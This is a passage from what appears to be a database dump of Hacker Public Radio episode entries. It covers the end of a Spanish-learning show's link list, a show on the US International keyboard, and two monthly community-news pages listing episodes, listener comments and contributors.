class=\"uri\">https://www.spanishpod101.com/helpcenter/getstarted/itunesfeeds</a></li>\r\n<li><a href=\"https://www.fluentin3months.com/spanishpod101-review/\" class=\"uri\">https://www.fluentin3months.com/spanishpod101-review/</a></li>\r\n<li><a href=\"https://www.alllanguageresources.com/spanishpod101/\" class=\"uri\">https://www.alllanguageresources.com/spanishpod101/</a></li>\r\n<li><a href=\"https://actualfluency.com/spanishpod101-review/\" class=\"uri\">https://actualfluency.com/spanishpod101-review/</a></li>\r\n<li><a href=\"https://www.notesinspanish.com/\" class=\"uri\">https://www.notesinspanish.com/</a></li>\r\n<li><a href=\"https://www.fluentu.com/blog/spanish/spanish-podcasts/\" class=\"uri\">https://www.fluentu.com/blog/spanish/spanish-podcasts/</a></li>\r\n<li><a href=\"https://coffeeshopspanish.com/blog/2016/09/23/top-7-spanish-podcasts-intermediateadvanced-learners/\" class=\"uri\">https://coffeeshopspanish.com/blog/2016/09/23/top-7-spanish-podcasts-intermediateadvanced-learners/</a></li>\r\n<li><a href=\"https://www.merlot.org/merlot/viewCompositeReview.htm?id=389501\" class=\"uri\">https://www.merlot.org/merlot/viewCompositeReview.htm?id=389501</a></li>\r\n<li><a href=\"https://www.newsinslowspanish.com/\" class=\"uri\">https://www.newsinslowspanish.com/</a></li>\r\n<li><a href=\"https://www.mosalingua.com/en/the-best-free-spanish-podcasts/\" class=\"uri\">https://www.mosalingua.com/en/the-best-free-spanish-podcasts/</a></li>\r\n<li><a href=\"https://spanishlandschool.com/best-spanish-podcasts/\" class=\"uri\">https://spanishlandschool.com/best-spanish-podcasts/</a></li>\r\n<li><a href=\"https://coffeeshopspanish.com/blog/2016/09/23/top-7-spanish-podcasts-intermediateadvanced-learners/\" class=\"uri\">https://coffeeshopspanish.com/blog/2016/09/23/top-7-spanish-podcasts-intermediateadvanced-learners/</a></li>\r\n<li><a href=\"https://www.palain.com/spanish-tools-continued/\" class=\"uri\">https://www.palain.com/spanish-tools-continued/</a></li>\r\n</ul>\r\n',198,116,0,'CC-BY-SA','Spanish, Language learning',0,0,1),
(3175,'2020-10-02','International Keyboard',681,'How I learned to implement a keyboard that lets me type in Spanish','<p>I decided to use my time spent in relative isolation to do something productive and learn another language. I picked Spanish because I am hoping to visit Mexico and other Latin American countries whenever the plague lifts. I decided to document this for anyone who wants to know what options I found and how they have worked for me so far. This is the third part where I explain how I implemented the US International Keyboard on a variety of platforms. This lets me type characters that Spanish uses which do not appear on a standard US English keyboard. And best of all, it a purely free software fix.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/British_and_American_keyboards#/media/File:KB_US-International.svg\" class=\"uri\">https://en.wikipedia.org/wiki/British_and_American_keyboards#/media/File:KB_US-International.svg</a></li>\r\n<li><a href=\"https://www.palain.com/international-keyboard/\" class=\"uri\">https://www.palain.com/international-keyboard/</a></li>\r\n</ul>\r\n',198,116,0,'CC-BY-SA','Spanish, Language learning, typing foreign characters',0,0,1),
(3456,'2021-11-01','HPR Community News for October 2021',4849,'HPR Volunteers talk about shows released and comments posted in October 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=397\" target=\"_blank\">hakerdefo</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3435\" target=\"_blank\">3435</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-10-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3435\" target=\"_blank\">Hacking Stories with Reacted: part 5</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3436\" target=\"_blank\">3436</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-10-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3436\" target=\"_blank\">HPR Community News for September 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3437\" target=\"_blank\">3437</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-10-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3437\" target=\"_blank\">The HTML document format</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3438\" target=\"_blank\">3438</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-10-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3438\" target=\"_blank\">Ten privacy friendly Google search alternatives.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=397\" target=\"_blank\">hakerdefo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3439\" target=\"_blank\">3439</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-10-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3439\" target=\"_blank\">Linux Inlaws S01E40: The One with the BSDs</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3440\" target=\"_blank\">3440</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-10-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3440\" target=\"_blank\">Lighten Layer Modes</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3441\" target=\"_blank\">3441</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-10-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3441\" target=\"_blank\">Murphy Work Bench</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3442\" target=\"_blank\">3442</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-10-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3442\" target=\"_blank\">What is this thing called science</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3443\" target=\"_blank\">3443</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-10-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3443\" target=\"_blank\">Neuton battery replacement</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3444\" target=\"_blank\">3444</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-10-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3444\" target=\"_blank\">The Psion series 5mx</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3445\" target=\"_blank\">3445</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-10-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3445\" target=\"_blank\">True critical thinking seems to be the key</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3446\" target=\"_blank\">3446</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-10-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3446\" target=\"_blank\">Speech To Text</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3447\" target=\"_blank\">3447</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-10-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3447\" target=\"_blank\">BlacKernel\'s Journey Into Technology: Episode 2</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3448\" target=\"_blank\">3448</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-10-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3448\" target=\"_blank\">Installing GuixSD</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3449\" target=\"_blank\">3449</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-10-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3449\" target=\"_blank\">Linux Inlaws S01E41: The Halloween Documents</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3450\" target=\"_blank\">3450</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-10-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3450\" target=\"_blank\">Internal Commands</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3451\" target=\"_blank\">3451</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-10-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3451\" target=\"_blank\">Bricklink</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3452\" target=\"_blank\">3452</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-10-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3452\" target=\"_blank\">Neuton battery test</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3453\" target=\"_blank\">3453</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-10-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3453\" target=\"_blank\">Rust 101: Episode 1 - Hello, World!</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3454\" target=\"_blank\">3454</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-10-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3454\" target=\"_blank\">Engineering Notation</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3455\" target=\"_blank\">3455</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2021-10-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3455\" target=\"_blank\">Podcast Recommendation: IBM and Quantum computing</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 38 comments in total.</p>\n<h3>Past shows</h3>\n<p>There are 16 comments on\n7 previous shows:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2793#comments\" target=\"_blank\">hpr2793</a></strong>\n(2019-04-17) \"<em>bash coproc: the future (2009) is here</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2793#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2021-10-08:\n\"Real world use, thanks Dave!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3337#comments\" target=\"_blank\">hpr3337</a></strong>\n(2021-05-18) \"<em>I like that the boat is stuck</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\" target=\"_blank\">Daniel Persson</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3337#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2021-10-07:\n\"Amazing\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3414#comments\" target=\"_blank\">hpr3414</a></strong>\n(2021-09-02) \"<em>Critical Thinking may make You Critical of the Covid Crisis</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=395\" target=\"_blank\">CoGo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3414#5\" target=\"_blank\">Comment 5</a>:\ne8hffff on 2021-10-16:\n\"Common Sense\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3414#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2021-10-30:\n\"Response to e8hffff, comment #5\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3426#comments\" target=\"_blank\">hpr3426</a></strong>\n(2021-09-20) \"<em>Rust 101: Episode 0 - What in Tarnishing?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3426#3\" target=\"_blank\">Comment 3</a>:\nHonkeymagoo on 2021-10-04:\n\"another fun way to learn rust\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3431#comments\" target=\"_blank\">hpr3431</a></strong>\n(2021-09-27) \"<em>Living in the Terminal</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3431#5\" target=\"_blank\">Comment 5</a>:\nGumnos on 2021-10-06:\n\"Using \"c\" to pause in cmus\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3433#comments\" target=\"_blank\">hpr3433</a></strong>\n(2021-09-29) \"<em>A Squirrels thoughts about RMS</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=377\" target=\"_blank\">Zen_Floater2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#1\" target=\"_blank\">Comment 1</a>:\nBen on 2021-10-02:\n\"Yikes!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#2\" target=\"_blank\">Comment 2</a>:\narcher72 on 2021-10-03:\n\"Good call, Ken\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#3\" target=\"_blank\">Comment 3</a>:\nZen_floater2 on 2021-10-05:\n\"Reply to Ben\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#4\" target=\"_blank\">Comment 4</a>:\nZen_floater2 on 2021-10-05:\n\"Reply to archer72\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2021-10-05:\n\"Disapointed with this show\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#6\" target=\"_blank\">Comment 6</a>:\nBob on 2021-10-05:\n\"Deliberately misleading ?\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#7\" target=\"_blank\">Comment 7</a>:\nZen_floater2 on 2021-10-05:\n\"Reply to Ken Fallon\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3433#8\" target=\"_blank\">Comment 8</a>:\nBen on 2021-10-22:\n\"Reply to #4\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3434#comments\" target=\"_blank\">hpr3434</a></strong>\n(2021-09-30) \"<em>From 0 to K8s in 30 minutes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3434#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2021-10-01:\n\"What an amazing show\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3434#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2021-10-01:\n\"Great show\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 22 comments on 7 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3436#comments\" target=\"_blank\">hpr3436</a></strong>\n(2021-10-04) \"<em>HPR Community News for September 2021</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3436#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2021-10-13:\n\"Clarification\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3438#comments\" target=\"_blank\">hpr3438</a></strong>\n(2021-10-06) \"<em>Ten privacy friendly Google search alternatives.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=397\" target=\"_blank\">hakerdefo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3438#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2021-10-07:\n\"Mojeek\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3438#2\" target=\"_blank\">Comment 2</a>:\nLinux4security on 2021-10-19:\n\"browser\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3439#comments\" target=\"_blank\">hpr3439</a></strong>\n(2021-10-07) \"<em>Linux Inlaws S01E40: The One with the BSDs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3439#1\" target=\"_blank\">Comment 1</a>:\nClaudioM on 2021-10-07:\n\"Best of BSD!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3439#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2021-10-09:\n\"This show put me up a tree\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3442#comments\" target=\"_blank\">hpr3442</a></strong>\n(2021-10-12) \"<em>What is this thing called science</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3442#1\" target=\"_blank\">Comment 1</a>:\nBrian-in-ohio on 2021-10-13:\n\"science\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3442#2\" target=\"_blank\">Comment 2</a>:\ne8hffff on 2021-10-13:\n\"Re:[HPR3442] Klaatu, CoVID, and Science\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3442#3\" target=\"_blank\">Comment 3</a>:\nkingbeowulf on 2021-10-14:\n\"scientific method selectively apply based on \"feelings\"?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3442#4\" target=\"_blank\">Comment 4</a>:\nMad Sweeney on 2021-10-15:\n\"Hats Off to You\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3442#5\" target=\"_blank\">Comment 5</a>:\ne8hffff on 2021-10-16:\n\"The Pharmacist\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3444#comments\" target=\"_blank\">hpr3444</a></strong>\n(2021-10-14) \"<em>The Psion series 5mx</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=381\" target=\"_blank\">Nihilazo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3444#1\" target=\"_blank\">Comment 1</a>:\nBrian-in-ohio on 2021-10-14:\n\"compliment\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3444#2\" target=\"_blank\">Comment 2</a>:\nGumnos on 2021-10-14:\n\"Looking forward to this one!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3444#3\" target=\"_blank\">Comment 3</a>:\nCometcycle on 2021-10-15:\n\"Trip down memory lane\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3444#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2021-10-16:\n\"Great show!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3445#comments\" target=\"_blank\">hpr3445</a></strong>\n(2021-10-15) \"<em>True critical thinking seems to be the key</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#1\" target=\"_blank\">Comment 1</a>:\nironhelixx on 2021-10-13:\n\"This is the way to handle misinformation\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#2\" target=\"_blank\">Comment 2</a>:\nAaronb on 2021-10-15:\n\"Reasoning\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#3\" target=\"_blank\">Comment 3</a>:\ne8hffff on 2021-10-16:\n\"Common Sense\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2021-10-19:\n\"Bravo!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#5\" target=\"_blank\">Comment 5</a>:\nBrian-in-ohio on 2021-10-20:\n\"risk\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2021-10-30:\n\"Response to e8hffff, comment #3\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3445#7\" target=\"_blank\">Comment 7</a>:\nDave Morriss on 2021-10-30:\n\"Response to Brian-in-ohio, comment #5\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3446#comments\" target=\"_blank\">hpr3446</a></strong>\n(2021-10-18) \"<em>Speech To Text</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3446#1\" target=\"_blank\">Comment 1</a>:\noperat0r on 2021-09-27:\n\"Example script\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2021-October/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"older-hpr-shows-on-archive.org\">Older HPR shows on archive.org</h3>\n<p>This month 70 additional shows in the range 1-870 have been uploaded.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributors for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">Archer72</a>, <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a></b></p>\n<p>Over the period tags and/or summaries have been added to 38 shows which were without them.</p>\n<p>----------------------------------------<br />\n<b>Hooray!</b> There are now no more shows that need summaries or tags!</p>\n<p>Thanks to all of the contributors to this project. According to my records the people who have helped to get to this point are listed below. Apologies if I have omitted anyone from the list:<br />\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\">Ahuka</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\">archer72</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\">bjb</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\">ClaudioM</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=385\">crvs</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=382\">Daniel Persson</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\">Ken Fallon</a><br/><a href=\"Kirk%20Reiser\">Kirk Reiser</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\">Rho`n</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\">Tony Hughes</a><br/><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></p>\n<p>----------------------------------------<br />\n</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3481,'2021-12-06','HPR Community News for November 2021',5638,'HPR Volunteers talk about shows released and comments posted in November 2021','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=398\" target=\"_blank\">one_of_spoons</a>, \n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3456\" target=\"_blank\">3456</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2021-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3456\" target=\"_blank\">HPR Community News for October 2021</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3457\" target=\"_blank\">3457</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2021-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3457\" target=\"_blank\">Tables</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3458\" target=\"_blank\">3458</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2021-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3458\" target=\"_blank\">Living in the Terminal 2: The Obligatory Sequel</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3459\" target=\"_blank\">3459</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2021-11-04</td>\n<td><a 